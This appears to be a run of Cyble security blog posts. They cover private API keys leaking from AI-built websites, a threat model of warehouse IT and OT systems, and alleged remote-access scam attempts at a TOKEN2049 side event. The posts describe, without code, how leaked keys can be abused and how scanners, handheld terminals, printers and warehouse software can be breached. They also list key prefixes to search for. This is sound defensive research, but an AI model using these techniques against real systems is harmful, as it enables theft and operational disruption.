
• US Federal Trade Commission, 2025 imposter scam data release, June 2026 

• Cyble, Brand Intelligence & Protection datasheet v1.1, August 2026 

Disclaimer: The data and content written in this blog is based on on open web information available. Analysts and researchers are advised to confirm once again from original sources.

The post Know How Cyble Brand Intelligence Can Help Stop ClickFix Campaigns in its Tracks appeared first on Cyble.

Cyble scanned 1.3M+ newly registered domains and found AI-built sites leaking live secrets to the browser: OpenAI keys, Stripe keys, and database tokens.

Spinning up a website no longer takes a developer. A prompt to an AI app-builder returns a working, styled, deployable site in minutes, and when one template works, the same operator clones it across a dozen domains before launch. That is also how secrets end up in plain sight.

Over a month, Cyble Research and Intelligence Labs (CRIL) scanned more than 1.3 million newly registered domains, identified the ones built by AI app-builders, and read their public front-end code for exposed credentials. We built our own classifiers to spot AI-generated websites as they are registered, paired with a scanner that pulls exposed keys and credentials straight from their public code. On 35 of the 22,306 AI-built sites we identified, a genuinely private secret was sitting in the browser: live OpenAI keys, Stripe secret keys, backend database tokens, and, in several cases, a single credential cloned across a whole fleet of domains.

Thirty-five is a small number, since counting every key-shaped string on an AI-built site is easy and misleading, as most are meant to be in the browser; a single reCAPTCHA key appeared on thousands of sites. We kept only the credentials that are never supposed to leave a server. Those are the findings below.

This report walks through the two leak patterns we observed, what appears exposed, what an attacker can do with these keys, and how to shut down the exposure.

AI-built Websites are leaking the keys that power them

An AI-built site generates its content with a Large Language Model (LLM), and the key to that model often ships in the page the visitor downloads. That is the plainest pattern we found, and the most on-the-nose.

Five AI-built sites carried live OpenAI API keys in their client-side code, sixteen distinct keys across them, and four of the five are confirmed AI-generated. One AI-writing site stands out on its own: it shipped twelve different OpenAI keys, one per content category, as plain values in its bundle. Figure 1 shows a single entry, with the key masked.

A handful of sites, but each key is sensitive to exposure. An OpenAI secret key is a billing credential: anyone who reads the page can spend the owner’s balance, exhaust the rate limit, or run the bill up until someone notices and revokes it. Twelve keys in one bundle are twelve live credentials shipped at once, and five sites like this are five accounts an attacker can exploit.

Clone-and-leak: one secret across a whole fleet

An AI builder makes the hundredth site as cheap as the first, so an operator clones a working template across many domains, and whatever secret sat in the template now sits on every copy. We saw this in two shapes.

A Slack webhook shared across a 13-domain fleet. Thirteen near-identical domains, each a short word (ask, call, chat, get, hello, hey, hi, its, join, let, meet, my, see), glued to one brand, all served the same client bundle, and all embedded the same live Slack incoming-webhook URL. Figure 2 shows the URL in the shipped bundle, masked.

Anyone who can read the page can post messages to the operator’s Slack workspace via that webhook. That works for spam, for phishing aimed at the operator’s own staff, or for flooding a channel.

One Stripe secret key across four domains and two brands. A single Stripe secret key appeared on four domains under two separate brand names. The same sk_live_ value across all four points to one operator, or one shared Stripe account, behind every site. Figure 3 shows the assignment.

A Stripe secret key provides full API access to the account, including the ability to create charges, issue refunds, and read customer and payout records. That one key exposes the operator’s whole payment account on every domain in the fleet.

The 13-domain Slack fleet runs on Bubble, a no-code and AI app builder, as confirmed by Bubble’s x-bubble-perf response header and client markers. Bubble serves each app from a dynamic.js bundle, and any value a developer places in a client-accessible field ships inside that bundle in plain text. The Stripe cluster runs on a Next.js build instead, which shows that the pattern spans builders rather than tracing to a single platform.

What else is exposed

Four AI-built sites exposed a Supabase service role JSON Web Token (JWT) on their front ends. A service-role token bypasses row-level security and grants full read and write to the project database. In terms of impact, it sits at the top of the set because it opens the entire backend rather than a single service.

Most of the remaining secret-looking strings on AI-built sites carry no/minimal exposure.

• 3,824 sites shipped browser-safe values: reCAPTCHA site keys, Stripe publishable keys, Supabase anon keys, builder telemetry tokens.
• 2,172 sites carried Google API keys, which matter only if they are unrestricted.
• 1,461 sites exposed a Supabase or Firebase backend address, which is a real exposure only when that backend’s rules are open.

Filtering those out is why the confirmed count is 35, not several thousand. Table 1 breaks the 35 down by type. The values stay withheld, and a few sites appear under more than one row.

Exposure	Sites	What an attacker gains
OpenAI API key	5	Spend the owner’s balance, exhaust quota, run up the bill
Shared Slack webhook	13	Post arbitrary messages into the operator’s workspace
Stripe secret key	6	Full API access: charges, refunds, customer and payout data
Supabase service-role JWT	4	Full read/write to the backend database, bypassing access rules
AWS access key	5	Cloud account access, scope set by the paired secret
GitHub token / Google OAuth secret	2	Source-control or identity-provider access

Table 1 – Confirmed private-credential exposures across 22,306 AI-built sites, by type.

What an attacker can do with these

Every credential in Table 1 is a working key to a live account. An attacker reads a public web page, copies a value, and calls an API. Here is what that buys them, key by key.

• OpenAI and other LLM keys: Run inference on the victim’s account until the bill or rate limit stops them. On a metered account, that is direct financial loss; on a funded one, it is a free, anonymous model endpoint that the attacker can point at anything, billed to the victim and running under their quota and identity.
• Stripe secret key; Drive the victim’s payment account through Stripe’s own API: create and refund charges, push the account toward fraud, and pull the customer list, email addresses, and payout history. One key is a money problem and a data-breach problem at once.
• Supabase service-role token: Read and write the entire production database, past whatever row-level security the app configured. That means stealing every user record, altering or deleting data, and planting content the app will serve back to its own visitors.
• Slack incoming webhook:  Post into the operator’s own Slack as if from inside. Flooding a channel is a nuisance case; the real risk is internal phishing.
• AWS access key: With the paired secret and enough permission, reach into the owner’s cloud: spin up resources (crypto-mining is the usual first move), read storage buckets, or pivot further in.
• GitHub token or OAuth secret: Read or push to the owner’s source repositories or misuse their identity integration.

One exposure counts many times over. When the key sits on a cloned fleet, it is live on every domain in that fleet, so an attacker who finds it on one site has compromised all of them.

Conclusion

AI app-builders made it almost free to publish a website, and just as free to clone one, and most of what they produce is worth nothing to steal.

The exceptions are what we went looking for. A small, steady set of these sites hand over the key that runs them, and when an operator copies one site across a fleet, the leak rides along to every domain.

Against the millions of domains registered each month, the number is tiny, but every hit is a live account an attacker can reach and exploit just by opening the page.

If you build on these tools, read your own shipped code before you publish it. If you defend an organization, assume your keys may surface on sites you never built and look for them.

Cyble’s Threat Intelligence Platforms continuously monitor emerging threats, infrastructure, and activity across the dark web, deep web, and open sources. This proactive intelligence empowers organizations with early detection, impersonation, infrastructure mapping, and attribution insights. Altogether, these capabilities provide a critical head start in mitigating and responding to evolving cyber threats.

Our Recommendations

For developers and AI-builder users:

• Keep every secret key (OpenAI sk-, Stripe sk_live_, a Supabase service-role token) in a server-side function or backend workflow, never in a client-accessible field.
• Use only the browser-safe variants on the front end, publishable and anon keys, and enforce access with Supabase row-level security, Firebase rules, and API key restrictions.
• Rotate any key that has ever sat on the client side, and treat it as already compromised.
• Read your own page source before you ship, and search it for sk-, sk_live_, service_role, and hooks.slack.com. If you find them, so can anyone.

For SOCs and defenders:

• Monitor public code and newly registered domains for your own keys and webhooks; don’t just paste sites.
• Treat a secret found on one domain of a template fleet as exposed on all of them, and scope the response to the fleet, not the domain.

The post The Keys Are in the Browser: Secret Exposure Across AI-Built Websites appeared first on Cyble.

Introduction

Imagine you’ve ordered a small paper unicorn from an online marketplace. You clicked “Buy”, received a cheerful notification, and expect a courier to bring the box tomorrow. If the unicorn is delayed by a day, it will be annoying but not catastrophic: an apology, a discount promo code — and the incident is forgotten.

Now let’s multiply one late unicorn by several hundred thousand orders.

Packages start heading to the wrong cities. The website shows an item is in stock, even though the required bin is empty. Conveyors stop, boxes get stuck between floors, the cargo piles up with no freight manifest. Trucks line up at the gates, and every minute of downtime turns into blown schedules, support tickets, fines, and lost sales.

It is at exactly this scale that a cyberincident in a warehouse becomes a problem for the entire business. A modern warehouse is no longer just a big building with shelving. It is a tightly interconnected hybrid system: web applications, radio channels, and an automated factory. Physical processes here depend on data, and errors in data have very physical consequences. Examples include an outage that affected warehouse management systems at the grocery giant Morrisons, and the 2025 Form 10-K annual report of United Natural Foods, Inc. (UNFI), which confirmed unauthorized activity on information technology systems that impacted order fulfillment. More recently, reports emerged that a cyberattack disrupted eight CEVA Logistics warehouses across Europe and exposed customer delivery data.

This paper follows a single order through a warehouse to show where the operation is vulnerable, the stages it traverses, the systems that drive it, and the points where an attacker can reach them. We then set out the threat model: what is at risk, who is in a position to take it, and how each risk lands on the business. From there, we look at how an attacker gets in, and what reaching the warehouse management system costs in practical terms: orders unshipped, inventory records nobody can trust, and an operation that stops. We close with recommendations on where the controls that matter actually sit.

Tracing the unicorn

A modern warehouse is a sequence of stages involving many machines and people, all working together to keep the business process stable so that, in the end, your order gets delivered. This process consists of eight main stages, shown in the figure below.

So let’s assume we’ve ordered our paper unicorn and are waiting for it at home. Let’s follow our order through all the main stages, from its arrival at the warehouse to the final stop on its journey.

1. Unloading
   First, the unicorn arrives in the unloading zone, packed in a big truck. The driver is assigned a gate, for example, via a tablet with kiosk mode enabled, or an outdoor display board, indicating where the truck should park and where the cargo will be unloaded. Even at this very first step, a digital command (the gate number on the screen) is already triggering a physical action. Therefore, incorrectly assigned gates can create a queue, delay unloading, or send goods into the wrong workflow.
2. Receiving
   At this stage, employees identify the cargo. They scan a barcode using a portable data terminal (PDT) and the central system receives a message indicating that this object arrives at the warehouse. From this moment, the unicorn exists in two forms at once: as a real box and as a record in the information system. If these two versions diverge, the error is inherited by all subsequent processes.
3. Putaway
   Next, the goods are moved into internal storage. Two new devices come into play here. First, a thermal printer, connected to the internal network over Wi-Fi, creates an internal label for each item. Then an employee, forklift, or automated system moves the goods to the assigned bin, often with the help of lifts controlled by PLCs. Both of these devices can be valuable attack entry points: one can let an adversary pivot into the internal network, while the other can give them control over an electric motor.
4. Storage
   Then the unicorn goes into storage. Many distribution centers use multi-level mezzanine structures: several floors of metal shelving inside a huge space. They allow efficient use of the building’s height, but at the same time complicate control over the technical infrastructure. Wi-Fi access points, cameras, switches, cables, and sensors may be mounted high overhead or buried deep inside the rows. A forgotten Ethernet cable or misconfigured networked device (access point or switch) left behind in a dark corner can become a convenient initial access point into critical infrastructure.
5. Picking
   When the customer places an order, picking begins if the goods were already stored in the warehouse or as soon as they are unloaded. A PDT, workstation, light indicator, or voice terminal directs the employee to the required bin where they pick the goods and move them to the next stage. These devices are themselves potential attack entry points: compromising a workstation or PDT could allow an attacker to manipulate picking information, which could misdirect employees to the wrong bin. Here, both the speed and integrity of the information are critical, and any manipulation or disruption can lead to wrong orders, delays, or problems in subsequent stages.
6. Sorting
   At the sorting stage, the warehouse starts to look more like a factory. Boxes move through conveyor belts and pass through different scanners, diverters, and chutes. The sorting plans are usually stored and managed by dedicated servers, while PLCs are responsible for controlling the machinery and executing these plans. For example, when the warehouse management system (WMS) decides that our unicorn should take route A, the control system needs to activate the right diverter at the right moment, sometimes within a fraction of a second.
7. Packing
   During packing, an employee or a robotic arm places the goods into the final box, prints the shipping label, and sometimes measures the dimensions and weight of the package. Safety mechanisms usually prevent robotic arms from leaving the controlled zone and harming nearby operators, but their compromise might inflict physical damage on the packages being processed.
8. Shipment
   Finally, at the shipping stage, the parcel heads to the gates. Automated guided vehicles (AGVs) and autonomous mobile robots (AMRs) move containers and pallets across the warehouse, while the dock management system coordinates the truck that will carry the unicorn onward to a store, a sorting center, or straight to the customer. These robots are themselves a potential target for attackers. Attacks can be conducted against AGVs and AMRs to interfere with their operation, for example by affecting their navigation or preventing them from reaching their intended destination.

All eight stages are coordinated by the WMS. It looks like a large web application, but in its role it’s closer to the operating system of the entire warehouse: it knows which goods exist, where they’re located, who or what should move them, and where they go next, linking employees, inventory levels, storage addresses, tasks, and orders. It also exchanges data externally: with ERP systems, transport platforms, marketplaces, dark stores, and external carriers.

Surrounding the WMS is an even larger digital ecosystem: identity services, databases, APIs, printers, carrier systems, technicians’ laptops, video surveillance, access control, fire and gas alarms, power supply, and a building management system (BMS).

That is why a single “warehouse network” doesn’t really exist. As we’ve seen, there are many overlapping technologies — IT infrastructure, OT systems, radio, cloud services, building security, and automation — layered on top of one another. A lone vulnerability scanner will never tell you whether a warehouse is secure.

Hunting the unicorn

Securing an environment such as a warehouse requires a comprehensive security assessment covering all of its interconnected systems. This involves identifying vulnerabilities across each system and understanding how weaknesses can be combined into attack paths that a real attacker could exploit. But a vulnerability only matters in proportion to what it exposes and who is able to reach it, so before looking at the weaknesses themselves, we need to understand what an attacker in this environment is actually after, because in a warehouse, the blast radius extends well beyond data. Everything we just traced — the systems, the devices, and the people operating them — exists to keep goods moving, and attacks in various parts along that chain can affect the business differently. The chart below shows what is at risk in the warehouse and where those risks land for the business. The segment on the left groups them under the three core security properties: integrity, availability, and confidentiality. The segment on the right maps each property to the business outcomes a failure can cause.

The first area at risk is integrity. Inventory counts, locations, orders, and shipment data must stay in sync with the physical world. Corrupting a record silently desynchronizes the operation, and because the eight stages form a dependency chain, one falsified entry early on is inherited downstream, surfacing later as stockouts and mis-shipments. In its deliberate forms, this lets an attacker redirect goods, release stock, and perform other actions on behalf of the platform’s vendors under cover of legitimate records. Integrity is also a safety concern: when people or machines act on information that no longer reflects the physical environment, a data failure can become a physical incident. This is why integrity is the only property linked to all five outcomes, including harm to people.

The second is availability, the warehouse’s ability to keep goods moving. Halting a conveyor, a sorter, label printing, or the WMS stops orders from shipping, and in a business built on speed, every hour of downtime means delayed deliveries and broken promises. Ransomware can bring the whole warehouse to a standstill. The impact shows up as operational disruption, lost revenue, and reputational damage.

The third is confidentiality. Customer data, business records, and system credentials are valuable targets. Their exposure leads to legal liability and reputational damage, and stolen credentials often open the door to further attacks. Where the WMS connects to financial or ERP processes, the risk extends to theft of funds.
Knowing what is at risk tells us what an attacker stands to gain; the next question is who is in a position to take it. Threat actors differ in the access they already hold. For example, an attacker may be authenticated and privileged, have limited physical or remote access, or have no legitimate access to the environment at all. Based on their relationship with the warehouse and their level of access, threat actors can generally be divided into two categories:

1. External. An attacker with no legitimate relationship with the warehouse or the organization, operating without authorized access. External attackers can be divided into two categories based on their physical proximity to the environment:
   1. Remote. An attacker operating from outside the site’s physical area, reaching the environment through whatever the organization exposes or makes reachable over the internet, including web services, remote access infrastructure, and third-party connections used by suppliers, carriers, and integrators.
   2. Proximate. An attacker with no legitimate access who has nevertheless moved within physical range of the site’s locally reachable technologies. They may, for example, be in a parking lot, a neighboring unit, or a delivery bay. Their proximity may allow them to interact with wireless, radio, Bluetooth, or other short-range interfaces without possessing an account, badge, employment relationship, or other authorized access.
2. Internal. An individual with legitimate access to the warehouse, its systems, or its information, who intentionally or unintentionally creates a security risk. This includes employees, administrators, operators, contractors, and temporary staff.

Combining these threat actors and their access levels with the risks identified earlier, the vulnerabilities present in each system, the resulting attack surfaces, and the potential attack paths between them provides a threat model for the warehouse environment. This allows an organization to understand how different systems and people could be targeted, how individual weaknesses could be combined, and where security controls are most needed.

Cornering the unicorn

Knowing what is at risk and who might come after it still leaves the most practical question open: how they would actually get in, and how far they could go once they did. The diagram below sets out the warehouse’s attack surface: every point where an attacker can get in, organized by the access that reaching each point requires.

On the left are the attacker categories discussed above, distinguished by where they stand and what access they already hold. Each reaches the environment through a different set of entry points, and the impact of a successful attack can land on several systems, from the WMS to OT systems such as robots, sorters, and physical access control system (PACS). The WMS is highlighted because it is the most significant of these: it coordinates the OT systems, so compromising it can affect the entire operation rather than a single process.

Next, we will cover the initial access vectors, the points a threat actor can use to reach the warehouse environment. Following that, we turn to the impact on the logistics processes themselves, focusing on the WMS, since its compromise affects every logistics operation that depends on it.

Initial attack vectors

Internet-facing services

Remote access through internet-facing services, third-party connections, and corporate networks gives an external attacker a foothold on the warehouse network infrastructure. It is a well-covered problem and not specific to this environment, so we note it here as an entry point but will not examine it further.

Wi-Fi, Bluetooth, and other radio channels

Wi-Fi connects handhelds, tablets, printers, cameras, and workstations. Bluetooth serves scanners, headsets, and positioning beacons. Zigbee and similar low-power protocols run lighting, sensors, and building automation, while LoRaWAN carries telemetry over long distances. Cellular provides a backup channel for kiosks and contractor equipment, and proprietary protocols control industrial panels and specialized machinery.

Radio passes through windows, gates, roofing, and thin external panels, so a network built for receiving and processing goods may be reachable from the parking lot and, with a directional antenna, from considerably farther away.

That reach matters in two ways. It gives an external attacker a place to start, as proximity alone is enough to reach the Wi-Fi and the low-power protocols, and from there to gain an initial foothold in the warehouse networks.

However, radio does not only lead into the network. It also connects directly to the field devices and carries the live control traffic of warehouse operations, which makes availability a first-order concern. If hundreds of handhelds lose their connection at once, picking stops. If an AGV loses its control channel, the safe reaction may be to halt in place, and a stopped machine can block an entire route.

Physical network

The scale of the warehouse itself is part of the attack surface. A fulfillment warehouse can run up to tens of thousands of square meters, with racking climbing several stories and walkways threading through it. Structured cabling runs along that racking, cameras and access points are mounted on that, and wall jacks sit behind pallets that have not moved in months. Almost none of it is in anyone’s line of sight.

That gives a person in the warehouse something a normal office does not: unsupervised access to live network infrastructure. Unplugging a ceiling camera leaves an active port. An unused jack behind a shelf leaves another. Neither requires tools, credentials, or any interaction with a system that logs anything. And since the camera or access point sits on the same segment as the rest of the site, the compromised port, not being isolated, opens a path to the network core.

Barcode scanners

Barcode scanners are everywhere in a warehouse. They are the main tool workers use to tell the system what is moving and where, supporting receiving, picking, packing, and inventory management. A typical setup has handheld scanners communicating with a base station, which is in turn connected to a workstation or another business system.

This makes the scanner an entry point into the core network in two ways.

First, through the barcode itself. Since the scanner acts as a keyboard to the connected host, a maliciously crafted barcode or QR code can inject keystrokes when scanned, potentially giving the attacker an initial foothold on the host without directly accessing the network.

Second, through the scanner’s wireless link. During a customer engagement, with the provided test stand of such a device, we discovered that an attacker within range could inject keystrokes into the connected host and potentially achieve remote code execution without user interaction. This attack pattern was observed across multiple vendors, including, for example, Honeywell devices affected by CVE-2026-4272.

In both cases, the result is the same: a foothold on a host inside the warehouse network. The scanner is simply the entry point; the significance of that foothold comes from the host’s trusted position within the operational environment and its connectivity to core systems.

Portable data terminals

Portable data terminals (PDTs) are essentially ordinary Android devices with an embedded barcode scanner, carried by workers to scan items; each scan is passed to a dedicated application that forwards it to a remote server over an API. To keep workers on task, the devices usually run in kiosk mode, locking the user to that single application and preventing interaction with the rest of the Android system.

That lockdown is exactly what an attacker wants to break, and breaking it is what turns the terminal into an initial access vector: escaping the kiosk can expose the Wi-Fi password of the network the terminal is connected to, or allow malicious software to be installed that gives the attacker remote access to the network over the internet.

Printers

Warehouses contain different types of printers. Alongside the usual IT printers used for documents and paperwork, there are specialized thermal printers, small devices that use heated elements on the printhead to create labels, barcodes, and tags. As we mentioned earlier, these are mainly used to print the labels, usually containing barcodes, that are attached to goods during the putaway stage.

Here we focus on mobile thermal printers: small, battery-powered devices that workers can carry or wear. They typically connect to the internal network over Wi-Fi to receive print commands, while also supporting Bluetooth for connecting to nearby devices. This combination makes them a potential entry point into the internal network.

Some models, such as the Zebra ZQ630, support multiple interfaces and can run applications directly on the device. During a security assessment, we discovered that apps can be uploaded and executed over Bluetooth. By exploiting a pairing misconfiguration, an attacker within Bluetooth range could bypass pairing, upload malicious software, and gain an initial foothold through the printer.

Impact on logistics processes (attacks on WMS)

With a foothold in the network, an attacker can pivot to the logistics processes themselves: from the WMS through the warehouse infrastructure to the PLCs and the machinery they drive. As we saw earlier, all OT systems and devices are interconnected and the WMS sits at the head of that chain: it is the system of record every other process reads from and writes to, so compromising it reaches all of them at once. That, and its being specific to this environment, is why it is the focus here.

Warehouse management systems (WMS) are the software platforms that optimize warehouse processes from the entry of goods to their exit. They provide real-time visibility into inventory and orchestrate end-to-end fulfillment by integrating with many warehouse subsystems and pieces of automation equipment, such as conveyors, PLCs, robotics, scanners, and voice systems. A typical WMS includes modules for receiving, inventory control, order management, labor management, shipping, and reporting. Major vendors include SAP EWM, Oracle Warehouse Management, Manhattan Active, Blue Yonder, Infor, Körber/HighJump, Microsoft, and TECSYS.

To picture how central this is, think back to our unicorn. From the moment it was scanned at receiving, it stopped being only a physical box and became a record inside the WMS, a record the system then used to decide where it should be stored, when it should be picked, how it should be sorted, and where it should ship. Every device employed along the way — the PDT at receiving, the printer at putaway, the workstation at picking, the conveyor at sorting — was really just talking to the WMS. It is the thread that ties all eight stages together, which is exactly what makes it such a valuable target.

Because modern WMS platforms are usually web-based and heavily interconnected, they inherit common web and API vulnerabilities alongside flaws specific to the WMS itself. A recent example is CVE-2026-70774 in Oracle Warehouse Management, part of Oracle E-Business Suite. Oracle rated it High and described it as an easily exploitable authorization bypass flaw in which a low-privileged attacker with network access can compromise the application, affecting integrity and availability by allowing unauthorized creation, deletion, or modification of critical data.

A flaw like this may look like a typical web application issue, but its consequences in a warehouse are more serious, because the WMS is the system of record. If an attacker can modify its data, they can alter stock levels, bin locations, receiving records, picking tasks, or shipment information, silently corrupting the digital twin of the warehouse. And since the eight stages form a dependency chain, that corruption doesn’t stay contained: a falsified record at receiving is inherited by putaway, picking, and everything downstream. The physical box and its record diverge, and every later process trusts the record.

The most direct version of this attack comes from an authorization bypass flaw like the Oracle vulnerability above. Here the threat actor can be an external attacker who has reached the application over the network, or an insider such as a low-privileged operator or storekeeper who already holds a legitimate account.

The danger grows when such a flaw is chained with others. An external attacker who combines remote code execution with SQL injection could generate shipment orders to arbitrary addresses together with the documents needed for goods to physically leave the warehouse, fabricate waybills, acceptance or transfer records, and registers, while also exposing customer data such as names and delivery addresses. In effect, the goods are sent out with legitimate-looking paperwork.

This is why ordinary web vulnerabilities carry considerable weight in a WMS. For an external attacker or an insider probing beyond their assigned role, broken access control could open a path into another warehouse zone, allow manipulation of other workers’ tasks, permit unauthorized exception operations, or expose administrative APIs. A server-side request forgery flaw could force the WMS server to reach resources an external attacker cannot touch directly, and if the network is flat or only formally segmented, that server may in turn reach internal management panels, cloud service interfaces, or systems sitting close to the operational network, turning a single web bug into a bridge between IT and OT.

Attacks on a WMS don’t always target the application directly, though. As we saw while tracing the unicorn, the warehouse is full of connected devices that already hold trusted access. A handheld terminal carries authenticated WMS API access as a matter of course, and anyone who gains control of that terminal inherits it (by escaping the kiosk, for example). Depending on the device’s permissions, that might mean confirming picks that never occurred, falsifying receiving operations, adjusting stock counts, or marking orders complete — something warehouse employees themselves could use to avoid their assigned duties.

Where the WMS is connected to control and automation systems, access to the WMS can extend into physical operations, including conveyors, sorting systems, lifts, doors, and pumps.

PLCs translate WMS instructions and sensor inputs into physical actions. Compromising a system that controls them therefore creates an opportunity to manipulate those actions. The impact can be as simple as a sorting diverter sending boxes down the wrong route, a conveyor repeatedly entering an error state and creating a backlog, or a falsified sensor value causing a line to be treated as clear when it is full.

However the WMS is compromised, the business consequence is the same: inventory corruption, unauthorized shipments, and operational disruption, each reaching the customer in the end as a late or missing delivery, the wrong item in the box, or a personal address exposed to a stranger.

Securing the unicorn

We followed our unicorn through web applications and databases, radio channels and PDTs, printers, conveyors, robots, and the loading zone. Because warehouse environments combine IT, OT, wireless, physical, and human components, security controls should be implemented as a single, coordinated security architecture rather than as isolated measures. Network segmentation should be a foundational control, with clear separation between corporate IT, warehouse OT, operational devices, management networks, and externally connected systems. Segmentation should also extend across facilities and customer environments so that each site and customer integration is isolated from the others, limiting the potential impact of a compromise. A zero-trust approach should reinforce this architecture by requiring explicit authentication and authorization for connections between systems, regardless of their network location, and by applying least-privilege access wherever possible. Regular penetration testing of the corporate IT environment, including domain services, identity infrastructure, and endpoints, should be incorporated into the warehouse security program.

Physical and network access controls should be implemented together. Access to warehouse facilities, network rooms, communication cabinets, and operational areas should be restricted according to business need, with appropriate authentication, monitoring, and access logging. Network infrastructure should be hardened through controls such as switch port security, MAC-based access restrictions where appropriate, and IEEE 802.1X with EAP-TLS for strong device and user authentication. Network equipment should also be securely configured and regularly reviewed to ensure that unused interfaces, insecure management protocols, default credentials, and unnecessary services are disabled.

Web applications and their supporting infrastructure should be governed through a secure software development lifecycle (SSDLC), including security requirements, secure coding practices, code and dependency review, and application security assessment before deployment and throughout the application’s lifecycle. Third-party applications and components should be continuously monitored and updated, with a defined vulnerability and patch management process. This should explicitly include warehouse management systems (WMS), warehouse portals, APIs, and other applications that provide operational or customer-facing functionality.

Wireless technologies should be subject to dedicated security assessment and engineering. Radio-frequency surveys should be conducted to establish expected coverage, identify unauthorized or unexpected signals, validate the availability and protection of operational communications, and determine whether wireless deployments create unintended access paths into warehouse networks. Wireless security should be assessed not only from a connectivity perspective but also in terms of authentication, encryption, device provisioning, protocol exposure, interference resilience, and the potential impact of unauthorized devices.

Warehouse operational devices should be incorporated into the organization’s endpoint security and vulnerability management processes. Devices should receive security updates and firmware patches on a defined schedule, with accelerated remediation for critical vulnerabilities. Security assessments should be performed periodically to identify weaknesses in device configuration, applications, exposed services, and authentication mechanisms.

Personnel security should form an additional layer of the warehouse security architecture. In most industrial and ICS environments, getting inside means clearing background checks, holding relevant qualifications, or proving prior experience; the hiring process itself acts as a filter. A warehouse is different. Roles in sorting, packing, and courier work are hired quickly and in volume, and they typically require no prior expertise, certification, or specialized background at all. An ordinary person can walk in off the street, be hired within days, and immediately hold legitimate physical access to the facility. Therefore, a more restrictive and risk-based approach to hiring should be considered, particularly for roles that provide access to sensitive areas, operational systems, network infrastructure, or customer assets.

Ultimately, all of these measures serve the same objective: protecting the continuity and reliability of the warehouse as a whole. This matters because real warehouses handle food, medicines, machine parts, and the millions of ordinary things people and companies depend on every day. Protecting their journey means seeing the warehouse as it has actually become: a single digital system with doors, motors, shelving, and radio signals, and with entirely real consequences when it fails. And if the security program works, the customer never knows any of this happened. The unicorn simply arrives at the scheduled time.

If your warehouse operations rely on interconnected systems like these, we can help identify the gaps before an adversary does. Reach out to discuss a security assessment.

A crypto security event that promised to teach attendees how to avoid scams is now the subject of scam allegations. The gathering, branded "Don't Get Played," was held as a side event during TOKEN2049 week in Singapore and co-hosted by groups operating under the names "Apex Accelerator" and "Stone Venture."

According to a police report filed by one attendee with the Singapore Police Force, the organizers allegedly pressured guests to install software that would have handed the organizers remote control of their computers.

The allegation first gained traction on X, where several other users claimed they had also been approached by the same group.

What the "Don't Get Played" Police Report States 

The document circulating online is page two of a six-page Singapore Police Force report (form NP299), bearing reference number E/20261011/7004. In it, the complainant lists the group's website as token.apexaccs.org and notes that the event's Telegram group had no public URL; prospective attendees could only join through the website. 

The report is titled "Suspected cyber scam targeting TOKEN2049 attendees ('Don't Get Played' event)." Its summary reads: 

"A group using the names 'Apex Accelerator', 'Stone Venture' and 'Don't Get Played' promoted a crypto security event for TOKEN2049 week (Sun 11 Oct 2026, 6pm to 10pm, The Singapore EDITION). They pressured attendees to install software that would give them remote control of their computers. I did not install their software and have no financial loss." 

Two details in that statement matter. First, the person who filed the report says they did not install anything. Second, they report no financial loss. The filing therefore documents an alleged attempt rather than a confirmed compromise. 

How the TOKEN2049 Side Event Was Pitched 

On paper, "Don't Get Played" looked like exactly the kind of session a careful attendee would seek out. It was marketed as a security-focused gathering designed to help people protect themselves from token scams. 

The event was scheduled for The Singapore EDITION hotel in early October 2026. Entry was free, though guests had to register beforehand, and attendance was capped at 200 people, as detailed by Crypto Briefing.  

The agenda featured a live "wallet clinic" where attendees could have their holdings checked with "Apex Audit" tools. These were promoted as scanners for token risk and honeypots, a term for tokens engineered so that holders can buy them but are never able to sell. 

The promotional material also advertised a panel on how crypto scams have evolved, listing representatives from Spartan Group, Bybit's security team, and the Singapore Police Force Cyber Command among the speakers. 

The final hook was a giveaway. Every confirmed guest was promised a free year of Sophos MDR endpoint protection, bundled with up to $1 million in breach coverage. Research into the event suggests this offer was a major driver of interest. 

There is nothing in the available material indicating that Spartan Group, Bybit, Sophos, or the Singapore Police Force Cyber Command played any part in the alleged conduct. Their names appeared in the event promotion, and that is the full extent of what the sources establish. 

The Allegation and the Gaps in the Record 

The central claim is simple: organizers of "Don't Get Played" allegedly pushed attendees to install software that would give a third-party remote access to their machines. At a crypto event, where many guests carry laptops connected to wallets and exchange accounts, that level of access could be enough to empty funds. 

Several important facts remain unclear. The source material does not name the software attendees were allegedly asked to install. It does not state whether anyone lost money, and it does not say how many people may have been targeted. 

As of October 12, 2026, no mainstream coverage of a police report involving the organizers, or of complaints from victims, could be located. The Singapore Police Force has not publicly confirmed the filing. Apex Accelerator and Stone Venture have not been charged with any offense based on the information available, and their account of events has not yet entered the public record. 

How the Crypto Community Reacted to "Don't Get Played"? 

After SolanaFloor shared the police report on X, the replies split between people claiming firsthand contact, skeptics, and users offering security advice. The account 0xKYM Registry (@KYMRegistrySG) said it filed the report and shared what it described as a scan of the installation's contents.  

Several others, including FamCrypt (@Famous0x3), NomadFury (@NomadFury_), and Sabya | YeNo (@SabyaYeNo), said the group had approached or pressured them to install software or buy a subscription. Alex (@alwye) claimed Apex Accelerator had used similar tactics in Twitter DMs. 

Not everyone was convinced. Sprunky (@sprunky_eth) argued that "page 2 of a report is not a finding," noting the complainant lost nothing, SPF had not confirmed the filing, and no charges exist. Others questioned how anyone could be pressured in Singapore or who vetted the project for the TOKEN2049 lineup. 

Security-minded users focused on the risk. StakeCraft (@stakecraft) called remote laptop access at a crypto event "a wallet drain waiting to happen," and Jey (@TheWarKettle) advised anyone who installed the software to treat the device as compromised, move funds from a clean device, and rotate every password and key.  

Others pointed to fake Luma after-party links and similar incidents at other conferences, and one user floated an unsupported DPRK link. Many replies also mocked the irony of a security event called "Don't Get Played" allegedly becoming the play. 

Conclusion 

The "Don't Get Played" allegations rest on a single attendee's police report and a growing set of claims on X, none of which have been confirmed by authorities. Several questions remain open. 

Will Singapore authorities confirm that a report was filed? Will Apex Accelerator or Stone Venture respond publicly? And will Spartan Group or the Singapore Police Force Cyber Command clarify whether they had any connection to the event? Until those answers arrive, the safest assumption for attendees is the one the event's own name suggested: any request to install software deserves suspicion.

References:  

• https://x.com/SolanaFloor/status/2109654244655812768 

• https://cryptobriefing.com/apex-accelerator-stone-venture-token2049-scam/ 

• https://x.com/DefraudTG/status/2109869264718971363 

Disclaimer: This blog is based on publicly available information, including a police report and posts shared on X, as of October 13, 2026. Cyble has not independently verified these claims. The allegations remain unproven, and naming any organization does not imply its involvement. This content is for informational purposes only and is not legal or financial advice. 

The post “Don’t Get Played”: TOKEN2049 Security Event Faces Remote-Access Scam Allegations appeared first on Cyble.

